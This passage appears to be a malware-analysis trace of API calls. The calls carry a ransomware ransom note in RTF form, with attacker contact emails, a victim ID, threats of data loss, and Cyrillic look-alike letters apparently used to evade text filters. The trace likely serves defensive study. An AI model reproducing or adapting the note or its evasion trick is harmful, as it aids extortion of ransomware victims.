m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 